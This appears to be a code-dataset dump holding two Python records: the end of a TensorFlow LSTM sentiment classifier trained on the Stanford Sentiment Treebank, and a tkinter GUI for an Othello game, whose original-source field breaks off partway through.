tf.gather(tf.reshape(outputs, [-1, n_hidden]), index) # Linear activation, using outputs computed above return tf.matmul(outputs, weights['out']) + biases['out'] pred = dynamicRNN(x, z, weights, biases) cost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=pred, labels=y)) optimizer = tf.train.AdamOptimizer(learning_rate=learning_rate).minimize(cost) correct_pred = tf.equal(tf.argmax(pred, 1), tf.argmax(y, 1)) accuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32)) t_acc = 0 with tf.Session() as sess: init = tf.global_variables_initializer() sess.run(init) step = 1 while step * batch_size <= training_iters: batch_x, batch_y, batch_length = trainset.next(batch_size) sess.run(optimizer, feed_dict={ x: batch_x, y: batch_y, z: batch_length }) acc = sess.run(accuracy, feed_dict={x: batch_x, y: batch_y, z: batch_length}) t_acc = (acc + t_acc * (step - 1)) / (float(step)) if step % display_step == 0: acc = sess.run(accuracy, feed_dict={x: batch_x, y: batch_y, z: batch_length}) # Calculate batch loss loss = sess.run(cost, feed_dict={x: batch_x, y: batch_y, z: batch_length}) print("Iter " + str(step * batch_size) + ", Minibatch Loss= " + \ "{:.6f}".format(loss) + ", Training Accuracy= " + \ "{:.5f}".format(t_acc) + ",batch Training Accuracy= " + \ "{:.5f}".format(acc)) step += 1 print 'Optimizer Complete'
[ "import tensorflow as tf\nimport gensim\nimport string\nimport numpy as np\nimport random\n\n##### prepare data\npath = 'stanfordSentimentTreebank/output_50d.txt'\n# model_path = 'stanfordSentimentTreebank/output'\n# model = gensim.models.Word2Vec.load(model_path)\nmodel = gensim.models.KeyedVectors.load_word2vec_format('/Users/ivanfzh/Downloads/glove.6B/glove.6B.50d.txt',\n binary=False)\n\nsentence_max = 56\n\n\nclass Data(object):\n def __init__(self):\n self.data_in = []\n self.data_label = []\n self.batch_id = 0\n self.data_length = []\n\n fp = open(path, 'r')\n for l in fp.readlines():\n line = l.strip('\\n').split('|')\n word_list = line[0].split(' ')\n s = []\n for item in word_list:\n item = string.lower(item)\n s.append(model[item].tolist())\n if len(word_list) < sentence_max:\n for i in range(sentence_max - len(word_list)):\n s.append([0. for k in range(50)])\n self.data_length.append(len(word_list))\n l = [0. for k in range(5)]\n value = float(line[1])\n label_index = int(value / 0.2)\n if label_index >= 5:\n l[4] = 1.0\n else:\n l[label_index] = 1.0\n self.data_in.append(s)\n self.data_label.append(l)\n\n def next(self, batch_size):\n if self.batch_id + batch_size >= len(self.data_in):\n batch_data_in = self.data_in[self.batch_id: len(self.data_in)]\n batch_data_label = self.data_label[self.batch_id: len(self.data_in)]\n batch_data_length = self.data_length[self.batch_id: len(self.data_in)]\n self.batch_id = self.batch_id + batch_size - len(self.data_in)\n batch_data_in += self.data_in[0:self.batch_id]\n batch_data_label += self.data_label[0:self.batch_id]\n batch_data_length += self.data_length[0:self.batch_id]\n else:\n batch_data_in = self.data_in[self.batch_id: self.batch_id + batch_size]\n batch_data_label = self.data_label[self.batch_id: self.batch_id + batch_size]\n batch_data_length = self.data_length[self.batch_id: self.batch_id + batch_size]\n self.batch_id = self.batch_id + batch_size\n return batch_data_in, batch_data_label, batch_data_length\n\n\ntrainset = Data()\n\nprint len(trainset.data_in)\n\n# ==============\n# MODEL\n# ==============\n\nlearning_rate = 0.001\ntraining_iters = 500000\nbatch_size = 128\ndisplay_step = 100\n\n# Network Parameters\nn_input = 50 # data input (shape: 50*56)\nn_steps = 56 # timesteps\nn_hidden = 128 # hidden layer num of features\nn_classes = 5 # total classes\n\nx = tf.placeholder(tf.float32, [None, n_steps, n_input])\ny = tf.placeholder(tf.float32, [None, n_classes])\nz = tf.placeholder(tf.int32, [batch_size])\n\nweights = {\n # (50, 128)\n # 'in': tf.Variable(tf.random_normal([n_input, n_hidden])),\n # Hidden layer weights\n # (128, 5)\n 'out': tf.Variable(tf.random_normal([n_hidden, n_classes]))\n}\nbiases = {\n # 'in': tf.Variable(tf.constant(0.1, shape=[n_hidden, ])),\n 'out': tf.Variable(tf.random_normal([n_classes, ]))\n}\n\n\ndef dynamicRNN(x, seqlen, weights, biases):\n # Prepare data shape to match `rnn` function requirements\n # Current data input shape: (batch_size, n_steps, n_input)\n # Required shape: 'n_steps' tensors list of shape (batch_size, n_input)\n\n # Unstack to get a list of 'n_steps' tensors of shape (batch_size, n_input)\n x = tf.unstack(x, sentence_max, 1)\n\n # Define a lstm cell with tensorflow\n lstm_cell = tf.contrib.rnn.BasicLSTMCell(n_hidden)\n\n # Get lstm cell output, providing 'sequence_length' will perform dynamic\n # calculation.\n outputs, states = tf.contrib.rnn.static_rnn(lstm_cell, x, dtype=tf.float32,\n sequence_length=seqlen)\n\n # When performing dynamic calculation, we must retrieve the last\n # dynamically computed output, i.e., if a sequence length is 10, we need\n # to retrieve the 10th output.\n # However TensorFlow doesn't support advanced indexing yet, so we build\n # a custom op that for each sample in batch size, get its length and\n # get the corresponding relevant output.\n\n # 'outputs' is a list of output at every timestep, we pack them in a Tensor\n # and change back dimension to [batch_size, n_step, n_input]\n outputs = tf.stack(outputs)\n outputs = tf.transpose(outputs, [1, 0, 2])\n\n # Hack to build the indexing and retrieve the right output.\n batch_size = tf.shape(outputs)[0]\n # Start indices for each sample\n index = tf.range(0, batch_size) * sentence_max + (seqlen - 1)\n # Indexing\n outputs = tf.gather(tf.reshape(outputs, [-1, n_hidden]), index)\n\n # Linear activation, using outputs computed above\n return tf.matmul(outputs, weights['out']) + biases['out']\n\n\npred = dynamicRNN(x, z, weights, biases)\ncost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=pred, labels=y))\noptimizer = tf.train.AdamOptimizer(learning_rate=learning_rate).minimize(cost)\n\ncorrect_pred = tf.equal(tf.argmax(pred, 1), tf.argmax(y, 1))\naccuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32))\n\nt_acc = 0\n\nwith tf.Session() as sess:\n init = tf.global_variables_initializer()\n sess.run(init)\n step = 1\n while step * batch_size <= training_iters:\n batch_x, batch_y, batch_length = trainset.next(batch_size)\n sess.run(optimizer, feed_dict={\n x: batch_x,\n y: batch_y,\n z: batch_length\n })\n acc = sess.run(accuracy, feed_dict={x: batch_x, y: batch_y, z: batch_length})\n t_acc = (acc + t_acc * (step - 1)) / (float(step))\n if step % display_step == 0:\n acc = sess.run(accuracy, feed_dict={x: batch_x, y: batch_y, z: batch_length})\n # Calculate batch loss\n loss = sess.run(cost, feed_dict={x: batch_x, y: batch_y, z: batch_length})\n print(\"Iter \" + str(step * batch_size) + \", Minibatch Loss= \" + \\\n \"{:.6f}\".format(loss) + \", Training Accuracy= \" + \\\n \"{:.5f}\".format(t_acc) + \",batch Training Accuracy= \" + \\\n \"{:.5f}\".format(acc))\n step += 1\n\n print 'Optimizer Complete'\n" ]
true
9,934
9b8f3962172d4a867a3a070b6139bb302fd7e2f5
import tkinter as tk import Widgets as wg import Logic as lgc from tkinter.ttk import Separator from tkinter.messagebox import showerror, showinfo # Fonts that we can utilise FONTS = {"large":("Helvetica", 20), "medium":("Helvetica", 16), "small":("Helvetica", 12)} class Handler: # Handles the window and the Game interaction def __init__(self): # Game Handle self.Game = None self.GameParams = {} # Window Handle self.Window = Window(self) self.Window.mainloop() def Replay (self): # Reset attributes and classes self.GameParams = {} del self.Game self.Game = None def Is_Running (self): return self.Game.Running def Start_Game(self): # Begin the game, run the updates needed. self.Game = lgc.Game(**self.GameParams) self.Game.Start_Game() # Update Game page self.Update_Game() self.Window.Pages["Game"].Update_Game_Type() def Get_Current_Player(self) -> str: # get the current player whose turn it is if self.Game.Running: if self.Game.Current_Player == "B": return "black" else: return "white" else: return "None" def Get_Game_Type(self) -> str: # Get the game rule type g = self.Game.Game_Type if g == 1: return "SIMPLE" else: return "FULL" def Get_Score(self) -> tuple: # Get the current score s = self.Game.Get_Discs() return s[0], s[1] # b, w def Move(self, x: int, y: int) -> bool: # Make a move on a given place complete = self.Game.Next_Move(x, y) if complete: self.Update_Game() self.Game_Complete_Check() return True self.Update_Game() self.Game_Complete_Check() return False def Get_Winner(self) -> tuple: # Gets the winner of the game return self.Game.Check_Winner() def Game_Complete_Check(self): # Check if the game is over and act accordingly if self.Is_Running() == False: # Run Game Over feature here self.Window.showPage("Postgame") # Update the post page self.Window.Pages["Postgame"].Update() def Update_Game(self): # Run a full update on the game self.Window.Pages["Game"].Full_Update() class Window (tk.Tk): # This will be the main window of the GUI def __init__ (self, controller, *args, **kwargs): tk.Tk.__init__(self, *args, **kwargs) self.Handler = controller # This is handler between the game and window # Root attributes self.title("Othello") try: self.iconbitmap("Icon.ico") except: pass self.minsize(600, 600) #self.maxsize(1000,1000) # Master frame self.container = tk.Frame(self) self.container.pack(side="top", fill="both", expand=True) self.container.grid_rowconfigure(0, weight=1) self.container.grid_columnconfigure(0, weight=1) # Set up the pages self.Pages = {} for page in (Pregame, Custom_Board, Game, Postgame): # Initiate each page and add them to the dictionary # Dictionary will use the name of the class so that it can be accessed # without the knowledge of the clas name new = page(self.container, self) self.Pages[page.FrameName] = new new.grid(row=0, column=0, sticky="nsew") # Show the initial page self.showPage("Pregame") # Window def showPage(self, pagename: str): # Show a chosen page page = self.Pages[pagename] page.tkraise() # Game def Begin_Game(self): # Start the game self.Handler.Start_Game() def Get_Current_Player (self) -> str: # Get the current player return self.Handler.Get_Current_Player() def Replay(self): # Clean up the old game, start an new one self.Pages["Pregame"].__GUI_Reset__() self.Pages["Game"].Reset_Game() self.Handler.Replay() self.showPage("Pregame") class Pregame (tk.Frame): # The 'home' screen FrameName = "Pregame" def __init__ (self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller self.configure(bg="white") self.set_vals = [] self.__GUI_Reset__() def __GUI_Reset__(self): # This will clean the screen and then recreate it, this is essential for replaying the game for widget in self.winfo_children(): widget.destroy() # Title Banner tk.Label(self, text="Otello", font=FONTS["large"], bg="white").pack(side="top") Separator(self, orient="horizontal").pack(side="top", fill="x", padx=10) # Rule Set rule_set_frame = tk.Frame(self, bg="white") rule_set_frame.pack(pady=10) # Subheading self.rs_label = tk.Label(rule_set_frame, text="Rule Set", font=FONTS["medium"], bg="white") self.rs_label.pack(side="top") self.full_btn = tk.Button(rule_set_frame, text="FULL", font=FONTS["medium"], bg="#bbbbbb", command=lambda:self.Select_Rule_Set("full")) self.full_btn.pack() self.simple_btn = tk.Button(rule_set_frame, text="SIMPLE", font=FONTS["medium"], bg="#bbbbbb", command=lambda:self.Select_Rule_Set("simple")) self.simple_btn.pack() # Row Size row_frame = tk.Frame(self, bg="white") row_frame.pack(pady=10) self.row_label = tk.Label(row_frame, text="Board Rows", font=FONTS["medium"], bg="white") self.row_label.grid(row=0, column=0, columnspan=7) self.Rows_Buttons = [] place = 0 for rows in [4, 6, 8, 10, 12, 14, 16]: x = tk.Button(row_frame, text=str(rows), font=FONTS["small"], bg="#bbbbbb", command=lambda rows=rows: self.Select_Rows(rows)) x.grid(row=1, column=place) self.Rows_Buttons.append(x) place += 1 # Column Size col_frame = tk.Frame(self, bg="white") col_frame.pack(pady=10) self.col_label = tk.Label(col_frame, text="Board Columns", font=FONTS["medium"], bg="white") self.col_label.grid(row=0, column=0, columnspan=7) self.Cols_Buttons = [] place = 0 for cols in [4, 6, 8, 10, 12, 14, 16]: x = tk.Button(col_frame, text=str(cols), font=FONTS["small"], bg="#bbbbbb", command=lambda cols=cols: self.Select_Cols(cols)) x.grid(row=1, column=place) self.Cols_Buttons.append(x) place += 1 # First to Move first_move_frame = tk.Frame(self, bg="white") first_move_frame.pack(pady=10) self.first_move_label = tk.Label(first_move_frame, text="First to move", bg="white", font=FONTS["medium"]) self.first_move_label.grid(row=0, column=0, columnspan=2) self.black_btn = tk.Button(first_move_frame, text="Black", bg="#bbbbbb", font=FONTS["medium"], command=lambda:self.Select_First_Move("black")) self.black_btn.grid(row=1, column=0) self.white_btn = tk.Button(first_move_frame, text="White", bg="#bbbbbb", font=FONTS["medium"], command=lambda:self.Select_First_Move("white")) self.white_btn.grid(row=1, column=1) # How to win condition_frame = tk.Frame(self, bg="white") condition_frame.pack(pady=10) self.condition_label = tk.Label(condition_frame, text="The winner is, the player with..", bg="white", font=FONTS["medium"]) self.condition_label.grid(row=0, column=0, columnspan=2) self.greater_score = tk.Button(condition_frame, text="more discs.", bg="#bbbbbb", font=FONTS["medium"], command=lambda: self.Select_Condition(">")) self.greater_score.grid(row=1, column=0) self.lesser_score = tk.Button(condition_frame, text="less discs.", bg="#bbbbbb", font=FONTS["medium"], command=lambda: self.Select_Condition("<")) self.lesser_score.grid(row=1, column=1) # Start the game button self.Start_Game_Btn = tk.Button(self, text="Start", bg="#ff2222", activebackground="#992222", font=FONTS["medium"]) self.Start_Game_Btn.pack(side="bottom") def Select_Rule_Set(self, _set: str): # sets the rule set of the game if _set == "simple": self.controller.Handler.GameParams["game_type"] = 1 # Corresponds to the game logic else: self.controller.Handler.GameParams["game_type"] = 2 self.full_btn.destroy() self.simple_btn.destroy() self.rs_label.configure(text="Rule Set: " + _set.upper()) self.set_vals.append("rules") self.Check_Can_Start() def Select_Rows(self, rows: int): # Sets the rows of the board self.controller.Handler.GameParams["y_size"] = rows for button in self.Rows_Buttons: button.destroy() self.row_label.configure(text="Board Rows: " + str(rows)) self.set_vals.append("rows") self.Check_Can_Start() def Select_Cols(self, cols: int): # sets the columns of the board self.controller.Handler.GameParams["x_size"] = cols for button in self.Cols_Buttons: button.destroy() self.col_label.configure(text="Board Columns: " + str(cols)) self.set_vals.append("cols") self.Check_Can_Start() def Select_First_Move (self, mover: str): # Sets the first player to make a move if mover == "black": self.controller.Handler.GameParams["first_move"] = "B" else: self.controller.Handler.GameParams["first_move"] = "W" self.black_btn.destroy() self.white_btn.destroy() self.first_move_label.configure(text="First to move: " + mover) self.set_vals.append("move") self.Check_Can_Start() def Select_Condition(self, condition: str):# This will set the game win condition self.controller.Handler.GameParams["game_winner"] = condition if condition == ">": self.condition_label.configure(text="The winner is, the player with more discs.") else: self.condition_label.configure(text="The winner is, the player with less discs.") self.lesser_score.destroy() self.greater_score.destroy() self.set_vals.append("win") self.Check_Can_Start() def Check_Can_Start (self): # This will start the game if the game can be started if "rules" in self.set_vals and\ "rows" in self.set_vals and\ "cols" in self.set_vals and\ "move" in self.set_vals and\ "win" in self.set_vals: self.Start_Game_Btn.configure(bg="#22ff22", activebackground="#229922", command=lambda: self.Start_Custom_Board()) def Start_Custom_Board (self): self.controller.Pages["Setup_Board"].Setup_Board() self.controller.showPage("Setup_Board") self.controller.Pages["Setup_Board"].Instructions_Display() class Custom_Board (tk.Frame): FrameName = "Setup_Board" def __init__ (self, parent, controller): tk.Frame.__init__ (self, parent) self.controller = controller self.configure(bg="white") # Title bar self.Title_Frame = tk.Frame(self, bg="white") self.Title_Frame.pack(side="top", fill="x") # Title tk.Label(self.Title_Frame, text="Create Custom Board", bg="white", font=FONTS["medium"]).pack(side="left") # Start Button start = tk.Button(self.Title_Frame, text="Play", bg="#22ff22", activebackground="#229922", font=FONTS["medium"], command=lambda: self.Start()) start.pack(side="right") # Use custom Board check button self.Use_Board = tk.IntVar() Use_Board = tk.Checkbutton(self.Title_Frame, text="Use custom board", font=FONTS["medium"], bg="white", activebackground="white", var=self.Use_Board, onvalue=1, offvalue=0) Use_Board.pack(side="right", padx=10) # Board self.Board_Area = tk.Frame(self, bg="#009900") self.Board_Area.pack(side="top", fill="both", expand=True) self.Board = [] def Setup_Board (self): for widget in self.Board_Area.winfo_children(): widget.destroy() self.Board = [] for y in range(self.controller.Handler.GameParams["y_size"]): row = [] for x in range(self.controller.Handler.GameParams["x_size"]): # Diameter with respond to the length of the shortest side of the board height = self.Board_Area.winfo_height() width = self.Board_Area.winfo_width() if height > width: diameter = width/self.controller.Handler.GameParams["x_size"] else: diameter = height/self.controller.Handler.GameParams["y_size"] self.Board_Area.grid_columnconfigure(x, weight=1) self.Board_Area.grid_rowconfigure(y, weight=1) disc = wg.Disc(self.Board_Area, self.controller, diameter=diameter, mode="setup") disc.grid(row=y, column=x, sticky="nsew") row.append(disc) self.Board.append(row) def Parse_Board (self) -> list: # This will parse the GUI board and create a board that will work for the Game() new_board = [] for row in self.Board: new_row = [] for disc in row: if disc.Current_Color == "white": new_row.append("W") elif disc.Current_Color == "black": new_row.append("B") else: new_row.append(None) new_board.append(new_row) return new_board def Instructions_Display(self): showinfo("How to use", "Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!") def Start (self): # This will check if the user wants to use a custom board and then will set Game board to be the users selection if self.Use_Board.get(): self.controller.Handler.GameParams["board"] = self.Parse_Board() self.controller.Begin_Game() self.controller.Pages["Game"].__GUI_init__() self.controller.Pages["Game"].Update_Board() self.controller.showPage("Game") class Game (tk.Frame): # This is the 'stage' where the game will be played. FrameName = "Game" def __init__ (self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller self.configure(bg="white") # Status Bar self.Status_Bar = tk.Frame(self, bg="white") self.Status_Bar.pack(side="top", fill="x") self.Status_Bar.grid_columnconfigure(0, weight=1) self.Status_Bar.grid_columnconfigure(1, weight=1) self.Status_Bar.grid_columnconfigure(2, weight=1) self.Status_Bar.grid_rowconfigure(0, weight=1) self.Current_Player = tk.Label(self.Status_Bar, text="None", bg="white", font=FONTS["medium"]) self.Current_Player.grid(row=0, column=0) self.Game_Type = tk.Label(self.Status_Bar, text="FULL", bg="white", font=FONTS["medium"]) self.Game_Type.grid(row=0, column=1) self.Score = tk.Label(self.Status_Bar, text="Black: 2 | 2:White", bg="white", font=FONTS["medium"]) self.Score.grid(row=0, column=2) # Board self.Board_Area = tk.Frame(self, bg="#009900") self.Board_Area.pack(side="top", fill="both", expand=True) self.Board = [] def __GUI_init__ (self): # This will initiate the game board once all the datya is provided. for y in range(self.controller.Handler.GameParams["y_size"]): row = [] for x in range(self.controller.Handler.GameParams["x_size"]): # Diameter with respond to the length of the shortest side of the board height = self.Board_Area.winfo_height() width = self.Board_Area.winfo_width() if height > width: diameter = width/self.controller.Handler.GameParams["x_size"] else: diameter = height/self.controller.Handler.GameParams["y_size"] self.Board_Area.grid_columnconfigure(x, weight=1) self.Board_Area.grid_rowconfigure(y, weight=1) disc = wg.Disc(self.Board_Area, self.controller, diameter=diameter, command= lambda x=x, y=y: self.Disc_Function(x, y)) disc.grid(row=y, column=x, sticky="nsew") row.append(disc) self.Board.append(row) self.Update_Board() def Reset_Game(self): #This will reset the game board to its initial state self.Board = [] for widget in self.Board_Area.winfo_children(): widget.destroy() def Disc_Function (self, x: int, y: int): # This is the function run when the player clicks a disc slot/disc if not self.controller.Handler.Move(x+1, y+1): # Try run the Move function on the Handler self.Invalid_Move() def Invalid_Move(self): # This command will run when a player tries to make a move thats not possible showerror("Invalid Move", "You cannot move there!") def Update_Board (self): # Update the board to mathe the Game() board for y in range(len(self.Board)): for x in range(len(self.Board[y])): game_piece = self.controller.Handler.Game.Board[y][x] if game_piece == None: pass elif game_piece == "B": if self.Board[y][x].Current_Color != "black": self.Board[y][x].Set_Piece_Color("black") elif game_piece == "W": if self.Board[y][x].Current_Color != "white": self.Board[y][x].Set_Piece_Color("white") def Update_Current_Player (self): # Update the current player identifier self.Current_Player.config(text="Turn: " + self.controller.Get_Current_Player()) def Update_Game_Type(self): # Update the game type identifier g_type = self.controller.Handler.Get_Game_Type() self.Game_Type.configure(text="Rules: " + g_type) def Update_Score (self): # Update the score identifier b, w = self.controller.Handler.Get_Score() self.Score.configure(text="Black: {0!s} | {1!s} :White".format(b, w)) def Full_Update(self): # Run a full update on the graphics self.Update_Score() self.Update_Current_Player() self.Update_Board() class Postgame (tk.Frame): # The 'end game' screen FrameName = "Postgame" def __init__ (self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller self.configure(bg="white") # Set a page title self.Title = tk.Label(self, text="Game Over!", bg="white", font=FONTS["large"]) self.Title.pack(side="top") Separator(self, orient="horizontal").pack(side="top", fill="x", padx=10) # Set the winner text object self.Winner = tk.Label(self, text="The winner is black-discs.", bg="white", font=FONTS["medium"]) self.Winner.pack(side="top") # Create the replay and exit buttons self.Buttons = tk.Frame(self, bg="white") self.Buttons.pack() Replay = tk.Button(self.Buttons, text="Replay", bg="#bbbbbb", font=FONTS["medium"], command=lambda: self.Replay()) Replay.grid(row=0, column=0) Quit = tk.Button(self.Buttons, text="Quit", bg="#bbbbbb", font=FONTS["medium"], command=lambda: self.Quit()) Quit.grid(row=0, column=1) # the area for the board output self.Board_Area = tk.Frame(self, bg="white") self.Board_Area.pack(side="bottom") # Score text self.Score = tk.Label(self.Board_Area, text="", bg="white", font=FONTS["medium"]) self.Score.pack() # The display for the board self.Board_Display = tk.Frame(self.Board_Area, bg="green") self.Board_Display.pack() self.Board = [] def Replay(self): # Initiate the Replay self.controller.Replay() def Quit(self): # Kill the game self.controller.destroy() exit() def Update_Board (self): # Update the game board display, kill old, create new for widget in self.Board_Display.winfo_children(): widget.destroy() for y in range(self.controller.Handler.GameParams["y_size"]): row = [] for x in range(self.controller.Handler.GameParams["x_size"]): self.Board_Area.grid_columnconfigure(x, weight=1) self.Board_Area.grid_rowconfigure(y, weight=1) col = None place_col = self.controller.Handler.Game.Board[y][x] if place_col == "B": col = "black" elif place_col == "W": col = "white" disc = wg.Disc(self.Board_Display, self.controller, col=col, diameter=50) disc.grid(row=y, column=x, sticky="nsew") row.append(disc) self.Board.append(row) def Update(self): # Update the whole page winner, scores = self.controller.Handler.Get_Winner() if winner.lower() == "b": winner = "black-discs" elif winner.lower() == "w": winner = "white-discs" else: winner == "no one" self.Winner.configure(text="The winner is " + winner) self.Score.configure(text="Black: {0!s} | {1!s}:White".format(scores[0], scores[1])) self.Update_Board() if __name__ == "__main__": Window = Handler()
[ "import tkinter \t\tas tk\nimport Widgets \t\tas wg\nimport Logic \t\tas lgc\nfrom tkinter.ttk \timport Separator\nfrom tkinter.messagebox import showerror, showinfo\n\n# Fonts that we can utilise\nFONTS = {\"large\":(\"Helvetica\", 20), \"medium\":(\"Helvetica\", 16), \"small\":(\"Helvetica\", 12)}\n\nclass Handler: # Handles the window and the Game interaction\n\tdef __init__(self):\n\n\t\t# Game Handle\n\t\tself.Game = None\n\t\tself.GameParams = {}\n\n\t\t# Window Handle\n\t\tself.Window = Window(self)\n\t\tself.Window.mainloop()\n\n\tdef Replay (self): # Reset attributes and classes\n\t\tself.GameParams = {}\n\t\tdel self.Game\n\t\tself.Game = None\n\t\t\n\tdef Is_Running (self):\n\t\treturn self.Game.Running\n\n\tdef Start_Game(self): # Begin the game, run the updates needed.\n\t\tself.Game = lgc.Game(**self.GameParams)\n\t\tself.Game.Start_Game()\n\n\t\t# Update Game page\n\t\tself.Update_Game()\n\t\tself.Window.Pages[\"Game\"].Update_Game_Type()\n\n\tdef Get_Current_Player(self) -> str: # get the current player whose turn it is\n\t\tif self.Game.Running:\n\t\t\tif self.Game.Current_Player == \"B\":\n\t\t\t\treturn \"black\"\n\t\t\telse:\n\t\t\t\treturn \"white\"\n\t\telse:\n\t\t\treturn \"None\"\n\n\tdef Get_Game_Type(self) -> str: # Get the game rule type\n\t\tg = self.Game.Game_Type\n\t\tif g == 1:\n\t\t\treturn \"SIMPLE\"\n\t\telse:\n\t\t\treturn \"FULL\"\n\n\tdef Get_Score(self) -> tuple: # Get the current score\n\t\ts = self.Game.Get_Discs()\n\t\treturn s[0], s[1] # b, w\n\n\tdef Move(self, x: int, y: int) -> bool: # Make a move on a given place\n\t\tcomplete = self.Game.Next_Move(x, y)\n\t\tif complete:\n\t\t\tself.Update_Game()\n\t\t\tself.Game_Complete_Check()\n\t\t\treturn True\n\t\tself.Update_Game()\n\t\tself.Game_Complete_Check()\n\t\treturn False\n\n\tdef Get_Winner(self) -> tuple: # Gets the winner of the game\n\t\treturn self.Game.Check_Winner()\n\n\tdef Game_Complete_Check(self): # Check if the game is over and act accordingly\n\t\tif self.Is_Running() == False:\n\t\t\t# Run Game Over feature here\n\t\t\tself.Window.showPage(\"Postgame\")\n\t\t\t# Update the post page\n\t\t\tself.Window.Pages[\"Postgame\"].Update()\n\n\tdef Update_Game(self): # Run a full update on the game\n\t\tself.Window.Pages[\"Game\"].Full_Update()\n\nclass Window (tk.Tk): # This will be the main window of the GUI\n\tdef __init__ (self, controller, *args, **kwargs):\n\t\ttk.Tk.__init__(self, *args, **kwargs)\n\n\t\tself.Handler = controller # This is handler between the game and window\n\n\t\t# Root attributes\n\t\tself.title(\"Othello\")\n\t\t\n\t\ttry:\n\t\t\tself.iconbitmap(\"Icon.ico\")\n\t\texcept:\n\t\t\tpass\n\n\t\tself.minsize(600, 600)\n\t\t#self.maxsize(1000,1000)\n\n\t\t# Master frame\n\t\tself.container = tk.Frame(self)\n\t\tself.container.pack(side=\"top\", fill=\"both\", expand=True)\n\t\tself.container.grid_rowconfigure(0, weight=1)\n\t\tself.container.grid_columnconfigure(0, weight=1)\n\n\t\t# Set up the pages\n\t\tself.Pages = {}\n\t\tfor page in (Pregame, Custom_Board, Game, Postgame):\n\t\t\t# Initiate each page and add them to the dictionary\n\t\t\t# Dictionary will use the name of the class so that it can be accessed\n\t\t\t# without the knowledge of the clas name\n\t\t\tnew = page(self.container, self)\n\t\t\tself.Pages[page.FrameName] = new\n\t\t\tnew.grid(row=0, column=0, sticky=\"nsew\")\n\n\t\t# Show the initial page\n\t\tself.showPage(\"Pregame\")\n\n\t# Window\n\n\tdef showPage(self, pagename: str): # Show a chosen page\n\t\tpage = self.Pages[pagename]\n\t\tpage.tkraise()\n\n\t# Game\n\tdef Begin_Game(self): # Start the game\n\t\tself.Handler.Start_Game()\n\n\tdef Get_Current_Player (self) -> str: # Get the current player\n\t\treturn self.Handler.Get_Current_Player()\n\n\tdef Replay(self): # Clean up the old game, start an new one\n\t\tself.Pages[\"Pregame\"].__GUI_Reset__()\n\t\tself.Pages[\"Game\"].Reset_Game()\n\t\tself.Handler.Replay()\n\t\tself.showPage(\"Pregame\")\n\nclass Pregame (tk.Frame): # The 'home' screen\n\tFrameName = \"Pregame\"\n\tdef __init__ (self, parent, controller):\n\t\ttk.Frame.__init__(self, parent)\t\n\n\t\tself.controller = controller\n\t\tself.configure(bg=\"white\")\n\n\t\tself.set_vals = []\n\n\t\tself.__GUI_Reset__()\n\n\tdef __GUI_Reset__(self): # This will clean the screen and then recreate it, this is essential for replaying the game\n\t\tfor widget in self.winfo_children():\n\t\t\twidget.destroy()\n\n\t\t# Title Banner\n\t\ttk.Label(self, text=\"Otello\", font=FONTS[\"large\"], bg=\"white\").pack(side=\"top\")\n\t\tSeparator(self, orient=\"horizontal\").pack(side=\"top\", fill=\"x\", padx=10)\n\n\t\t# Rule Set\n\t\trule_set_frame = tk.Frame(self, bg=\"white\")\n\t\trule_set_frame.pack(pady=10)\n\t\t# Subheading\n\t\tself.rs_label = tk.Label(rule_set_frame, text=\"Rule Set\", font=FONTS[\"medium\"], bg=\"white\")\n\t\tself.rs_label.pack(side=\"top\")\n\n\t\tself.full_btn = tk.Button(rule_set_frame, text=\"FULL\", font=FONTS[\"medium\"], bg=\"#bbbbbb\",\n\t\t\tcommand=lambda:self.Select_Rule_Set(\"full\"))\n\t\tself.full_btn.pack()\n\n\t\tself.simple_btn = tk.Button(rule_set_frame, text=\"SIMPLE\", font=FONTS[\"medium\"], bg=\"#bbbbbb\",\n\t\t\tcommand=lambda:self.Select_Rule_Set(\"simple\"))\n\t\tself.simple_btn.pack()\n\n\t\t# Row Size\n\t\trow_frame = tk.Frame(self, bg=\"white\")\n\t\trow_frame.pack(pady=10)\n\n\t\tself.row_label = tk.Label(row_frame, text=\"Board Rows\", font=FONTS[\"medium\"], bg=\"white\")\n\t\tself.row_label.grid(row=0, column=0, columnspan=7)\n\n\t\tself.Rows_Buttons = []\n\n\t\tplace = 0\n\t\tfor rows in [4, 6, 8, 10, 12, 14, 16]:\n\t\t\tx = tk.Button(row_frame, text=str(rows), font=FONTS[\"small\"], bg=\"#bbbbbb\",\n\t\t\t\tcommand=lambda rows=rows: self.Select_Rows(rows))\n\t\t\tx.grid(row=1, column=place)\n\t\t\tself.Rows_Buttons.append(x)\n\t\t\tplace += 1\n\n\t\t# Column Size\n\t\tcol_frame = tk.Frame(self, bg=\"white\")\n\t\tcol_frame.pack(pady=10)\n\n\t\tself.col_label = tk.Label(col_frame, text=\"Board Columns\", font=FONTS[\"medium\"], bg=\"white\")\n\t\tself.col_label.grid(row=0, column=0, columnspan=7)\n\n\t\tself.Cols_Buttons = []\n\n\t\tplace = 0\n\t\tfor cols in [4, 6, 8, 10, 12, 14, 16]:\n\t\t\tx = tk.Button(col_frame, text=str(cols), font=FONTS[\"small\"], bg=\"#bbbbbb\",\n\t\t\t\tcommand=lambda cols=cols: self.Select_Cols(cols))\n\t\t\tx.grid(row=1, column=place)\n\t\t\tself.Cols_Buttons.append(x)\n\t\t\tplace += 1\n\n\t\t# First to Move\n\t\tfirst_move_frame = tk.Frame(self, bg=\"white\")\n\t\tfirst_move_frame.pack(pady=10)\n\n\t\tself.first_move_label = tk.Label(first_move_frame, text=\"First to move\", bg=\"white\", font=FONTS[\"medium\"])\n\t\tself.first_move_label.grid(row=0, column=0, columnspan=2)\n\n\t\tself.black_btn = tk.Button(first_move_frame, text=\"Black\", bg=\"#bbbbbb\", font=FONTS[\"medium\"],\n\t\t\tcommand=lambda:self.Select_First_Move(\"black\"))\n\t\tself.black_btn.grid(row=1, column=0)\n\n\t\tself.white_btn = tk.Button(first_move_frame, text=\"White\", bg=\"#bbbbbb\", font=FONTS[\"medium\"],\n\t\t\tcommand=lambda:self.Select_First_Move(\"white\"))\n\t\tself.white_btn.grid(row=1, column=1)\n\n\t\t# How to win\n\t\tcondition_frame = tk.Frame(self, 